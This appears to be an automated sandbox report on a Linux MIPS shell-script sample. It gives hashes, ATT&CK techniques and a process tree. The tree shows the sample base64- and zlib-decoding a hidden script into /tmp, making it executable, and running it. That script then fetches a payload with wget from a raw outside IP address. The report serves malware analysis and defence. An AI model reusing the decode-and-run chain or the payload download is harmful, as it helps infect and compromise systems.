149115d1526cbefaccfa0d5275cc17581a994c4a8a9cb9964c3ffce4ac88323b

Analysis

max time kernel
144s
max time network
140s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
13/09/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_pre-append.sh
Size 2KB
Sample260913-thdr8a11at
SHA256 149115d1526cbefaccfa0d5275cc17581a994c4a8a9cb9964c3ffce4ac88323b
MD5 44b3a4a83c59bc46a53752cce61afa77
SHA1 d5af59f950ab5d122175e624b81517ed581ffa66
SHA512 6b6a304ce5e4374732229bafeb2ba03afa6b11d49a5b98dfae89e2be67fa5575fcde20c0d3542f428cf949052d4b71735ca1eb40e495015d6c95f8f40d7aaca0
TLSH
T13D41B63ADC4C5C5DF482D84A97D9B9E658723022A7F038E4209D4B94698B728BA42FB1
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
742	chmod

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
726	base64

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tmp.WueOi7uvx2/embedded.sh	bash

/tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_pre-append.sh
/tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_pre-append.sh
1⤵
PID:714

/usr/local/sbin/bash
bash /tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_pre-append.sh
1⤵
PID:714

/usr/local/bin/bash
bash /tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_pre-append.sh
1⤵
PID:714

/usr/sbin/bash
bash /tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_pre-append.sh
1⤵
PID:714

/usr/bin/bash
bash /tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_pre-append.sh
1⤵
PID:714

/sbin/bash
bash /tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_pre-append.sh
1⤵
PID:714

/bin/bash
bash /tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_pre-append.sh
1⤵
- Writes file to tmp directory
PID:714
- /bin/mktemp
  mktemp -d
  2⤵
  PID:722
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:726
- /usr/bin/python3
  python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
  2⤵
  PID:727
- /bin/chmod
  chmod +x /tmp/tmp.WueOi7uvx2/embedded.sh
  2⤵
  - File and Directory Permissions Modification
  PID:742

/bin/bash
bash /tmp/tmp.WueOi7uvx2/embedded.sh
1⤵
PID:714
- /usr/bin/wget
  wget http://192.227.183.143/m-i.p-s.ISIS
  2⤵
  PID:745

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

embedded.sh

Path /tmp/tmp.WueOi7uvx2/embedded.sh
Size 1KB
SHA256 2aa0cda5261f118aa7ca23823a71a5aed22653f3bf77e5ee7b7dd0296740237f
MD5 e19b09f5f6dcf748abe29b4616e4d3c3
SHA1 2b50b0e7c442cc2eddbaa4d97b2a2fe23eb192df
SHA512 058465a60fa8b42a2fb0a3f1f525e1dbdaa53ef7c2da24708df3902272cc6e8be09b88770ded75a49ef34b2d01911f58555f85ccdbd7427e1d49b9581ff39fca
TLSH
T14441848A20E108B07C92A4B773756D107595A25DA4CDFF8F7BDC38E5488CEF5A425BC2
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads